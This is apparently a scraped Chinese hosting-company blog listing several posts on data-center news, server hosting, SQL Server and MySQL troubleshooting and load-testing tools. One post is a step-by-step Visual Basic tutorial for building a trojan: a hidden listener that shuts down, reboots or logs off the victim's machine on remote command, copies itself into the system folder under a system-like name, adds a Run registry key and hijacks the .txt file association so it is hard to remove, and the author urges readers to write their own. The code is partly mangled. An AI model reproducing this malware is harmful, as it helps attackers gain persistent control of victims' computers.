Equinix以1.61亿美元收购了印度的两个数据中心

八月 14, 2020

数据中心巨头Equinix在其不断壮大的阵容中又将增多两座数据中心,近日,该公司宣布收购GPX Global Systems在印度的业务,并以1.61亿美元(折合11亿人民币)收购了孟买的两个数据中心。

该交易预计将在2021年第一季度完成,但要遵守包括监管部门批准在内的惯例成交条件。这些设施将标志着Equinix首次进入印度市场。

据了解,GPX Mumbai1是印度第一家获得Tier 4认证的数据中心,占地面积为2,800平方米,而Mumbai2完全建成后将增加至5,600平方米。它早在2019年12月开放,也获得了Uptime Tier 4的设计认证。

GPX声称这些设施托管着印度最大的互联网生态系统,包括12家电信公司,130家ISP,8家云服务提供商以及所有领先的全球CDN和内容提供商(OTT)。值得注意的是,这些设施还托管了四个互联网交换:孟买IX-DECIX,印度AMS-IX,Extreme IX和Bharat IX。

这些设施与GPX的数据中心互连网络互连,还提供Amazon Direct Connect,Google Cloud专用互连和Oracle Cloud Infrastructure FastConnect。

Equinix首席执行官Charles Meyers表示,印度代表着全球第二大互联网用户群,随着互联网基础设施的不断发展,智能手机的拥有以及4G和5G的普及,消费量预计将增长。将Equinix的平台扩展到印度长期以来一直是Equinix的战略目标,很高兴GPX的交易将使Equinix能够利用这一市场机会并满足客户寻求扩展其数字业务的需求。

总裁兼首席执行官尼克·坦兹(Nick Tanzi)补充道,GPX全球系统公司将把注意力转向利用埃及业务作为扩展业务的基础,并且在非洲进行发展。认为非洲目前充满了机遇,这推动了公司在印度的投资,包括迅速增加的移动设备使用量,海底光纤投资的增加以及内容消耗和数据使用量的增长。

Equinix以1.61亿美元收购了印度的两个数据中心已关闭评论

如何利用VisualBasic实现木马攻击

八月 12, 2020

首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。

接下来我们回来Server窗体模块中,添加如下代码:

->PrivateSubform_Load()
WithMe
.sckServer.LocalPort=88917’本地端口(呵呵!我的生日!)
.sckServer.Listen’开始监听
EndWith
EndSub

‘接受客户端的连接请求。

PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)
WithMe
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(requestID)
EndWith
EndSub->

下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:

->PrivateSubform_Load()
WithMe
.sckClient.RemoteHost=”127.0.0.1″‘设置远程IP,本例设为本机。
.sckClient.RemotePort=88917’远程端口,就为server中的设置一样.
EndWith
EndSub

PrivatesubcmdConnect_Click()
SckClient.Connect
Endsub->

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print“Connetionsuccessful!”来查看。

这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能―――关机,重启,注销。好,开始吧!

在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:

->PublicDeclareFunctionExitWindowXXXLib”user32″Alias”ExitWindowXXX”(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong

PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLib”user32″Alias”ClipCursor”(lpRectAsAny)AsLong

PublicTypeRECT
LeftAsLong
TopAsLong
RightAsLong
BottomAsLong
EndType->

注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。

下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:

->PrivateSubcmdExit_Click()
Me.sckClient.SendData”Exit”
EndSub

PrivateSubcmdLogoff_Click()
Me.sckClient.SendData”Logoff”
EndSub

PrivateSubcmdReboot_Click()
Me.sckClient.SendData”Reboot”
EndSub->

全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。

->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
DimstrDataAsString
WithMe
‘接收客户请求的信息
.sckServer.GetDatastrData
SelectCasestrData
Case”Exit”
‘关机
CallExitWindowXXX(EWX_SHUTDOWN,0)
Case”Reboot”
‘重启
CallExitWindowXXX(EWX_REBOOT,0)
Case”Logoff”
‘注销
CallExitWindowXXX(EWX_LOGOFF,0)
EndSelect
EndWith

EndSub->

好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!

回到Server工程中的modApi中加入如下API函数:

->PublicDeclareFunctionRegOpenKeyLib”advapi32.dll”Alias”RegOpenKeyA”(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong

PublicDeclareFunctionRegSetvalueExLib”advapi32.dll”Alias”RegSetvalueExA”(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong

PublicDeclareFunctionRegCreateKeyLib”advapi32.dll”Alias”RegCreateKeyA”(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3

PublicConstREG_SZ=1

PublicConstHKEY_LOCAL_MACHINE=&H80000002

PublicConstHKEY_CLASSES_ROOT=&H80000000->

写到注册表启动组中的过程。

->PublicSubStartupGroup()

DimsKeyAsString
DimresultAsLong
DimhKeyIDAsLong
DimsKeyValAsString

sKey=”Systrsy”‘启动组中的键,找一个与系统文件相近的。
sKeyVal=”C:/windows/system/systrsy.exe”‘木马文件的路径,可以用GetSystemDirectory来取得系统路径。
result=RegOpenKey(HKEY_LOCAL_MACHINE,_
“Software/Microsoft/Windows/CurrentVersion/Run”,hKeyID)
Ifresult=0Then
result=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
EndIf
EndSub->

好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:

->PublicSubWriteToTxt()

DimresultAsLong
DimhKeyIDAsLong
DimskeyAsString
DimskeyValAsString

skey=”txtfile/shell/open/command”
skeyVal=”C:/windows/system/txtView.exe”
result=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)

Ifresult=0Then
result=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
EndIf
EndSub->

肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:/windows/system/txtView.exe是哪里来的,我们的木马是C:/windows/system/systrsy.exe呀。这可是我们木马的分身了。

好,回到Server工程的Server窗体的form_Load中,加入如下代码:

->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&”/”&App.EXEName&”.exe”
sSystemDir=“C:/windows/system”
OnErrorResumeNext

‘复制文件成系统目录下的Systrsy.exe
FileCopysCurrentPath,sSystemDir&”/Systrsy.exe”
OnErrorResumeNext

复制文件成系统目录下的txtView.exe

FileCopysCurrentPath,sSystemDir&”/txtView.exe”->

调用

->CallstartupGroup
CallWriteToTxt

‘判断程序是否下在运行

IfApp.PrevInstanceThen
‘如果已经运行就退出。
End

EndIf->

好了,写到这里一个破坏性木马已经诞生了,我实验过还是比较好的一个,希望大家也能写一个好的木马,能突破冰河(呵呵!)

注意:

1、大家在处理端口是最好使用高端端口,否则会和一些常用端口发生冲突

2、在第一次使用VB.NET的最好看看有关的图书,可能你能写出一款超级木马也说不定

如何利用VisualBasic实现木马攻击已关闭评论

美国服务器需要备案吗?

八月 10, 2020


服务器备案是中国大陆为了加强互联网管理,打击非法互联网活动实施的政策,域名和服务器没有经过备案,是不允许使用的。有很多用户因为各种原因,从而选择美国服务器等境外服务器。美国服务器虽然便宜,但在中国访问不仅速度慢,而且没有备案会导致在SEO排名方面也有很大的劣势,权衡之下,不禁有人会问,美国服务器可以在中国备案吗?

国外服务器不备案有哪些影响?

1、首先来说海外的服务器空间速度相对中国来说是较慢的,但是你可以使用CDN加速。只要你的站点不是非法违规的,建议你还是使用国内的服务器,想更快速的话配CDN。

2、备案问题;如果你的网站没有被认证,而是出现时断时续,间歇性抽风等技术问题,也是完全司空见惯的,这种情况也许比直接认证更窝心。你可以在国内找快备的人给你做这个事情,甚至不都不需要自己提供资料,最普通的300左右就能给你干问题,一周就能下备案号。

3、收录影响问题:这个要看你的同源网站是不是多违规(一般你是空间的话,即一个IP上多个网站,并在国外,这个IP上一般多又非法站点,故对你的网站有影响,比如:安全问题等)、网站访问速度快不快了(速度慢的话,自然不会给你好的收录)。

4、你的风险不是法律上的而是服务质量以及可用性方面的风险,换句话说,是用户体验下降的风险。要是你是高配置,的独立IP服务器,那么你可以当我没说!

租用国外免备案服务器注意事项:

1、租用服务器,无论是国内服务器还是国外的服务器,我们都需要考虑到服务器的访问速度和它的稳定性了。我们怎样才能得知选购服务器的是否具备这些要求呢,比如说能够有效解决服务器宕机、DDOS攻击。

2、在内容限制上:虽然美国服务器和香港服务器都是免备案服务器,但是在内容的限制上也会有法律上明确的把关,特别是涉及到色情,暴力等,无论是选择什么类型的网站都不会被允许,但是美国免被备案服务器在言论会相对比较自由点,例如私服,棋牌游戏等通常都会选择美国服务器。

3、在实际应用的区别:由于两个地区的机房与中国的距离会有所不同,因而会造成稳定性或者访问速度等都会有所差异,香港机房与国内距离比较近,因而在访问速度上也会比较快,甚至与国内服务器区别不大,因而很多站长在建站时会偏向于香港的服务器空间,而美国服务器在速度上相对会比较慢,平均的ping值在185ms左右,但是美国服务器在稳定性上会非常高,出现宕机的几率非常低,这不但有利于用户体验性,而且还这也是近几年来为什么美国服务器空间会受站长们青睐的原因。

4、租用国外服务器我们还需要注意服务器的底层架构。在您选择网站服务器的时候建议侧重选择容灾性很强的服务器。如何判断呢?首先要查看这家服务上是否具有IDC资格服务证,其次在其官方网站上寻找是否具有:分布式存储、关系型数据库、云引擎等类似的产品或者服务。因为只有具备了架构才能够提供以上类似的服务。

5、在选择国外服务器时,需要考虑购买服务器后的售后服务,例如它们是否全天候支持免费的技术服务,这是目前最基本的服务内容。因为服务器是24小时运行在互联网上,所以不可能不出现问题,如果廉价地选择一些小型服务器提供商,那么如果无法解决问题,将会对您公司的网站和业务造成损失。

所以,针对国外服务器怎么备案,可以看出这是多此一举的!有的用户使用美国服务器也想备案,会在大陆租一台服务器,通过301跳转到国外服务器,这种备案方式其实不是很靠谱,随时有可能被取消。如果选择美国服务器,网站都可以不进行备案,但是由于服务器的适用性有所不同,如果你的网站针对的用户是国内,最好选择国内备案服务器。

美国服务器需要备案吗?已关闭评论

100m带宽香港WB机房 瀑布促销延期至8月31日。

八月 7, 2020

为回馈广大用户,本活动顺延一个月到本月31号:
i3,8G内存,1T sata, 2IP,100M(20M回国),IPMI 首月 650, 次月899
后续:1250/月

e3,16G内存,1T sata 或240 SSD, 2IP,100M(20M回国),IPMI 首月 750 , 次月1099 后续:1550/月

e-2126G (带GPU显卡),16G内存,240 SSD, 2IP,100M(20M回国),IPMI 首月 800, 次月1199 后续:1650/月

2*E5-2665,32G 内存,2*480 SSD,2IP,100M(20M回国),IPMI 首月 1200 , 次月1899 后续:3000/月

100m带宽香港WB机房 瀑布促销延期至8月31日。已关闭评论

Twitter又曝安全漏洞!这次威胁到安卓用户私人数据

八月 7, 2020

据外媒报道,美国当地时间周三,社交媒体Twitter证实,一个安全漏洞可能暴露其安卓版应用程序用户的私信,但没有证据表明该漏洞曾被黑客利用。

这个漏洞可能允许运行在同一设备上的恶意安卓应用绕过该系统的内置数据权限,虹吸存储在Twitter应用中的用户私信信息。但Twitter表示,该漏洞早在2018年10月就打了补丁,而且其只适用于安卓8(Oreo)和安卓9(Pie),此后已得到修复。

Twitter的一位发言人称,一名安全研究人员“几周前”通过HackerOne报告了这个漏洞,HackerOne是Twitter的漏洞赏金计划。

这位发言人说:“从那时起,我们一直在努力确保账户安全。现在问题已经解决了,我们要让人们知道。”Twitter表示,它之所以推迟通知用户,是为了防止有人在修复之前了解这个漏洞并利用它。

Twitter表示,绝大多数用户已经更新了他们的安卓应用程序,不再容易受到攻击。但该公司表示,约4%的用户仍在运行其应用程序的旧版本和易受攻击的版本,并将通知用户尽快更新该应用程序。许多用户开始注意到应用程序内的弹出窗口,通知他们这个问题。

在安全问题的消息传出几周前,Twitter曾遭到大规模黑客攻击,许多备受瞩目的Twitter账户被劫持,以传播加密货币骗局。黑客和随后的骗局获得了超过10万美元的资金。美国司法部指控三人(包括1名未成年人),据称他们对这起事件负有责任。

Twitter又曝安全漏洞!这次威胁到安卓用户私人数据已关闭评论

SQL Server连接中常见的三个错误

八月 6, 2020

通常我们在使用SQL Server的过程中,用户遇到最多的问题就是连接失败,本文就详细的给大家剖析SQL Server连接中常见的三个错误,接下来跟随爱站小编一起来逐一分析吧。

一、”SQLServer不存在或访问被拒绝”

这个是最复杂的,错误发生的原因比较多,需要检查的方面也比较多。

一般说来,有以下几种可能性:

1、SQLServer名称或IP地址拼写有误

2、服务器端网络配置有误

3、客户端网络配置有误

要解决这个问题,我们一般要遵循以下的步骤来一步步找出导致错误的原因。

首先,检查网络物理连接

ping

如果ping不成功,说明物理连接有问题,这时候要检查硬件设备,如网卡,HUB,路由器等。

还有一种可能是由于客户端和服务器之间安装有防火墙软件造成的,比如ISAServer。防火墙软件可能会屏蔽对ping,telnet等的响应,因此在检查连接问题的时候,我们要先把防火墙软件暂时关闭,或者打开所有被封闭的端口。

如果ping成功而,ping失败,则说明名字解析有问题,这时候要检查DNS服务是否正常。

有时候客户端和服务器不在同一个局域网里面,这时候很可能无法直接使用服务器名称来标识该服务器,这时候我们可以使用HOSTS文件来进行名字解析,具体的方法是:

1、使用记事本打开HOSTS文件(一般情况下位于C:\WINNT\system32\drivers\etc)。

添加一条IP地址与服务器名称的对应记录,如:

172.168.10.24myserver

2、或在SQLServer的客户端网络实用工具里面进行配置,后面会有详细说明。

其次,使用telnet命令检查SQLServer服务器工作状态

telnet1433

如果命令执行成功,可以看到屏幕一闪之后光标在左上角不停闪动,这说明SQLServer服务器工作正常,并且正在监听1433端口的TCP/IP连接,如果命令返回”无法打开连接”的错误信息,则说明服务器端没有启动SQLServer服务,也可能服务器端没启用TCP/IP协议,或者服务器端没有在SQLServer默认的端口1433上监听。

接着,我们要到服务器上检查服务器端的网络配置,检查是否启用了命名管道。是否启用了TCP/IP协议等等,可以利用SQLServer自带的服务器网络使用工具来进行检查。

点击:程序MicrosoftSQLServer服务器网络使用工具

打开该工具后,在”常规”中可以看到服务器启用了哪些协议。

一般而言,我们启用命名管道以及TCP/IP协议。

点中TCP/IP协议,选择”属性”,我们可以来检查SQKServer服务默认端口的设置

一般而言,我们使用SQLServer默认的1433端口。如果选中”隐藏服务器”,则意味着客户端无法通过枚举服务器来看到这台服务器,起到了保护的作用,但不影响连接。

接下来我们要到客户端检查客户端的网络配置

我们同样可以利用SQLServer自带的客户端网络使用工具来进行检查,

所不同的是这次是在客户端来运行这个工具。

点击:程序MicrosoftSQLServer客户端网络使用工具

打开该工具后,在”常规”项中,可以看到客户端启用了哪些协议。

一般而言,我们同样需要启用命名管道以及TCP/IP协议。

点击TCP/IP协议,选择”属性”,可以检查客户端默认连接端口的设置,该端口必须与服务器一致。

单击”别名”选项卡,还可以为服务器配置别名。服务器的别名是用来连接的名称,连接参数中的服务器是真正的服务器名称,两者可以相同或不同。别名的设置与使用HOSTS文件有相似之处。

通过以上几个方面的检查,基本上可以排除第一种错误。

二、”无法连接到服务器,用户xxx登陆失败”

该错误产生的原因是由于SQLServer使用了”仅Windows”的身份验证方式,因此用户无法使用SQLServer的登录帐户(如sa)进行连接。解决方法如下所示:

1、在服务器端使用企业管理器,并且选择”使用Windows身份验证”连接上SQLServer

2、展开”SQLServer组”,鼠标右键点击SQLServer服务器的名称,选择”属性”,再选择”安全性”选项卡

3、在”身份验证”下,选择”SQLServer和Windows”。

4、重新启动SQLServer服务。

在以上解决方法中,如果在第1步中使用”使用Windows身份验证”连接SQLServer失败,那就通过修改注册表来解决此问题:

1、点击”开始””运行”,输入regedit,回车进入注册表编辑器

2、依次展开注册表项,浏览到以下注册表键:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer

\MSSQLServer]

3、在屏幕右方找到名称”LoginMode”,双击编辑双字节值

4、将原值从1改为2,点击”确定”

5、关闭注册表编辑器

6、重新启动SQLServer服务。

此时,用户可以成功地使用sa在企业管理器中新建SQLServer注册,

但是仍然无法使用Windows身份验证模式来连接SQLServer。

这是因为在SQLServer中有两个缺省的登录帐户:

BUILTIN\Administrators

\Administrator被删除。

要恢复这两个帐户,可以使用以下的方法:

1、打开企业管理器,展开服务器组,然后展开服务器

2、展开”安全性”,右击”登录”,然后单击”新建登录”

3、在”名称”框中,输入BUILTIN\Administrators

4、在”服务器角色”选项卡中,选择”SystemAdministrators”

5、点击”确定”退出

6、使用同样方法添加\Administrator登录。

说明:

以下注册表键:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer

\MSSQLServer\LoginMode

的值决定了SQLServer将采取何种身份验证模式。

1、表示使用”Windows身份验证”模式

2、表示使用混合模式(Windows身份验证和SQLServer身份验证)。

三、提示连接超时

如果遇到第三个错误,一般而言表示客户端已经找到了这台服务器,并且可以进行连接,不过是由于连接的时间大于允许的时间而导致出错。

这种情况一般会发生在当用户在Internet上运行企业管理器来注册另外一台同样在Internet上的服务器,并且是慢速连接时,有可能会导致以上的超时错误。有些情况下,由于局域网的网络问题,也会导致这样的错误。

要解决这样的错误,可以修改客户端的连接超时设置。

默认情况下,通过企业管理器注册另外一台SQLServer的超时设置是4秒,而查询分析器是15秒(这也是为什么在企业管理器里发生错误的可能性比较大的原因)。

具体步骤为:

企业管理器中的设置:

1、在企业管理器中,选择菜单上的”工具”,再选择”选项”

2、在弹出的”SQLServer企业管理器属性”窗口中,点击”高级”选项卡

3、在”连接设置”下的”登录超时(秒)”右边的框中输入一个比较大的数字,如20。

查询分析器中的设置:

工具选项连接将登录超时设置为一个较大的数字

连接超时改为0

1、先保证ping通

2、在dos下写入telnetip1433不会报错

3、用ip连如企业管理器:

企业管理器>右键SQlserver组>新建sqlserver注册>下一步>写入远程实例名(IP,机器名)>下一步>选Sqlserver登陆>下一步>写入登陆名与密码(sa,pass)>下一步>下一步>完成

4、如果还不行:

sqlserver服务器>开始菜单>SQLserver>服务器网络实用工具>启用WinSock代理>代理地址:(sqlserver服务器IP)>代理端口>1433>OK了

5、如果还不行:

sqlserver客户端>开始菜单>SQLserver>客户端网络实用工具>别名>添加>写入别名如”大力”>”网络库”选tcp/ip>服务器名称写入远程ip或实例名>OK了

SQL Server连接中常见的三个错误已关闭评论

未来数据中心会有什么变化?

八月 3, 2020

随着互联网蓬勃发展和数据中心技术日新月异,数据中心也随之不断进化,未来的数据中心到底会出现哪些改变呢?

1、小型数据中心更受欢迎;

艾默生网络能源公司的论文作者和IT专家进行的一项快速调查显示,58%的人认为未来的数据中心将比我们现在拥有的小得多。27%的参与者认为未来的数据中心将比现在的数据中心更大。而14%的参与者认为未来的数据中心会和现在一样。然数据中心也需要更多的存储空间,这将导致更大的数据中心、更大的功率和更多的空间。但是密度和面积不一样。它们是完全不同的,在这种情况下,它们起着重要的作用。与大型数据中心相比,管理和构建密集的数据中心要容易得多。使用小型但密度高的数据中心可以带来许多未来的创新。数据中心的布局可以由内向外。所有IT物品和服务器机架都可以快速卸下,并放置在中心区域周围。

2、发电和冷却设备更加先进;

由于这些未来数据中心的密度较高,这意味着它们也需要更大的制冷量。我们的专家预测,未来的数据中心将能够自行生成强大的冷却选项。据预测,数据中心将建在发电厂附近。这将使数据中心产生自己使用的电源。它们很可能也会建在有环境冷却选择的地区。这意味着未来的数据中心将不仅仅是为自己发电,他们还将能够将产生的热量转移到极地装置、淡水容器或地热热泵中。然而,有几个因素将为未来的数据中心提供动力。其中一些因素是:气候因素:数据中心是否会建在气候凉爽的地区。经济因素:是否在能源成本较低的地区开发。需求因素:当存储和计算需求发生变化时。不断发展的技术:是否有可能根据一天或一年内的不同时间,在具有非常大容量电力的地方之间切换负载。

3、能源消耗更低;

对未来数据中心的一个主要预测是,它们将比现在消耗更少的电能。根据有关数据中心的一些最佳文章,许多专家确实相信,要产生与当今数据中心相同数量的输出,未来的数据中心将不需要像当前的数据中心那样多的能源。专家们认为,到2025年,数据中心通过太阳能接收的电量将达到其总电量的三分之一左右。当你考虑到今天太阳能技术的发展,你就会明白这是多么有意义。大多数数据中心都是摩天大楼,没有什么东西能阻挡阳光,这恰恰证明了为什么这样做更有意义。剩下的三分之二的能源中,大部分将使用天然气、风能和核能。

4、私有云普及;

向云计算的转变正在成为许多组织的共同特征,尽管所有这些组织都希望保持控制而不是放弃。为了使组织能够利用其私有云基础架构,他们将不得不使用数据中心。在IDC调查的调查中发现,在云上花费的总金额中有超过28%都花在了私有云上。企业已经在其私有云服务中使用了软件解决方案,同时确保企业中的信息是完整控制的情况。在需要公共云基础架构的任何地方都可以使用它。许多客户也不在乎其服务的来源。但是对于组织而言,数据中心将负责促进私有云服务,并确保以最安全,最佳的方式执行工作负载。

5、人工智能;

自从高性能计算(HPC)成为开放云中的一种服务以来,人们现在非常容易访问它。人工智能(AI)和机器学习(ML)的增长和扩展意味着存在基于这些关键技术发展的应用程序。随着这些应用程序的不断扩展,HPC的可访问性意味着它将成为那些希望保持其前沿优势的企业和组织的重要战略。尽管原型和试验都是在公共云的框架下完成的,但这些大型组织需要处于端到端控制之下,这将使基于人工智能和机器学习的应用程序成为其业务差异化因素。唯一有效的方法是在公司数据中心中显示它。

未来数据中心会有什么变化?已关闭评论

中国新建三座超级数据中心,将增超百万台服务器

七月 31, 2020

7月31日,南通、杭州和乌兰察布的三座超级数据中心正式落成,陆续开服,将新增超百万台服务器,辐射京津冀、长三角、珠三角三大经济带,建成国内最大的数据中心集群。

截至目前,我国仅阿里云在全球22个地域部署了上百个云数据中心,5座超级数据中心分别位于张北、河源、杭州、南通和乌兰察布。阿里巴巴IDC研发事业部总经理高山渊介绍,五大超级数据中心均大规模应用了含光800芯片、神龙云服务器等核心自研技术。

此外,超级数据中心广泛使用液冷、水冷、风能等节能技术。杭州超级数据中心部署了全球最大的液冷服务器集群,通过将服务器泡在“水”里(注:实际使用的是特殊的冷却液)的方式散热,可为数据中心节能70%以上;在五大超级数据中心内,采用了自动运维机器人进行智能运维,24小时保障数据中心安全运行。

记者了解到,成立10多年,阿里云陆续向12306、中石化、中国邮政、国家电网、茅台等大型客户提供技术支持、越来越多的企业正从云下转向云上,跟上数字化转型的步伐。

今年4月,阿里云宣布将在3年内投入2000亿,用于云操作系统、服务器、芯片、网络等重大核心技术研发攻坚和面向未来的数据中心建设。

中国新建三座超级数据中心,将增超百万台服务器已关闭评论

C#关于MySQL中文乱码问题

七月 29, 2020

在写一个测试demo的时候,添加的中文数据在数据库定义的明明是varchar类型,但是显示出来还是乱码,这到底怎么回事呢?

用以下三种方法检查,一般可以找出问题所在:

1、 首先检查数据库,字符集的类型是否是utf8_general_ci类型;

2、连接字符串,在连接字符串最后面加上 Charset=utf8;

如下面代码:

<connectionStrings>

<add name=”connStr” connectionString=”Server=localhost;database=testDB;uid=root;pwd=123;Charset=utf8″ providerName=”MySql.Data.MySqlClient” />

</connectionStrings>

3、以上两个都没有问题的话,检查字段是否是字符串类型,有可能是因为字符串转换出现问题。

C#关于MySQL中文乱码问题已关闭评论

Web服务器压力测试要用什么工具

七月 27, 2020

web服务器性能如何,有各种各样的测试方法。要了解自己的服务器的极限,就必须要做压力测试,下面我们来介绍几款web服务器压力测试工具。

1、webbench

webbench是Linux下的一个网站压力测试工具,最多可以模拟3万个并发连接去测试网站的负载能力。下载之后输入命令安装:

#tar zxvf webbench-1.5.tar.gz

#cd webbench-1.5

#make && make install

安装好之后会在当前目录生成webbench可执行文件,用法:webbench -c 并发数 -t 运行测试时间 URL

例如:#webbench -c 1000 -t 130 http://www.idc.net

2、apache bench(主要是用来测试apache的),ab是apache自带的一款功能强大的测试工具。安装了apache一般就自带了。用法可以查看它的说明

#./ab,参数众多,一般我们用到的是-n 和-c

例如:

#webbench -c 1000 -t 130 http://www.idcpay.com/index.php。这个表示同时处理1000个请求并运行130次index.php文件。

3、Siege:一款开源的压力测试工具,可以根据配置对一个WEB站点进行多用户的并发访问,记录每个用户所有请求过程的相应时间,并在一定数量的并发访问下重复进行。

Siege解压并安装:-c是并发量,-r是重复次数。url文件就是一个文本,每行都是一个url,它会从里面随机访问的。

4、LoadRunner

老牌压力测试工具,LoadRunner是一种预测系统行为和性能的负载测试工具,通过模拟实际用户的操作行为进行实时性能监测,来帮助测试人员更快的查找和发现问题。LoadRunner适用于各种体系架构,能支持广泛的协议和技术,为测试提供特殊的解决方案。企业通过LoadRunner能最大限度地缩短测试时间,优化性能并加速应用系统的发布周期。

LoadRunner提供了3大主要功能模块:* VirtualUser Generator(用于录制性能测试脚本),

LoadRunner Analysis(用于分析性能测试结果)既可以作为独立的工具完成各自的功能,又可以作为LoadRunner的一部分彼此衔接,与其他模块共同完成软件性能的整体测试。

5、JMeter

JMeter作为一款广为流传的开源分布式压测产品,能自动生成图形报告。最初被设计用于Web应用测试,如今JMeter可以用于测试静态和动态资源,例如静态文件、Java 小服务程序、CGI 脚本、Java 对象、数据库、FTP服务器等等,还能对服务器、网络或对象模拟巨大的负载,通过不同压力类别测试它们的强度和分析整体性能。另外,JMeter能够对应用程序做功能测试和回归测试,通过创建带有断言的脚本来验证你的程序返回了你期望的结果。为了最大限度的灵活性,JMeter允许使用正则表达式创建断言。

6、Tsung:是一个开源的多协议分布式负载测试工具,它可以用来强调http、webdav、soap、postgresql、mysql、ldap、mqtt a

目前支持HTTP分布式压力测试、WebDAV分布式压力测试、SOAP分布式压力测试、PostgreSQL分布式压力测试、MySQL分布式压力测试、LDAP分布式压力测试、MQTT分布式压力测试、Jabber/XMPP servers分布式压力测试7、locust.io:一个开源的负载测试工具。用python代码定义用户行为,并用数以百万计的

http://locust.io/,python编写,用python脚本定义压测规则,分布式,有WEB UI界面,推荐使用

8、阿里云PTS

阿里云性能测试(Performance Testing)是一个SaaS性能测试平台,具有强大的分布式压测能力,可模拟海量用户真实的业务场景,让应用性能问题无所遁形。PTS平台特色包括提供压测机,无需安装软件;脚本场景监控简单化,省时、省力;分布式并发压测,施压能力无上限;快速大规模集群扩容、支持几十万用户及百万级TPS性能压测;80%以上用户基本不需要花费额外的成本。

测试过程中,如果403的类型过多,服务器可能已经到了极限。测试结果中主要的指标是 fetches/sec、msecs/connect这个选项,即服务器每秒能够响应的查询次数。用这个指标来衡量性能。似乎比 apache的ab准确率要高一些,也更有说服力一些。Qpt-每秒响应用户数和response time,每连接响应用户时间。测试的结果主要也是看这两个值。当然仅有这两个指标并不能完成对性能的分析,我们还需要对服务器的cpu、men进行分析,才能得出结论。

Web服务器压力测试要用什么工具已关闭评论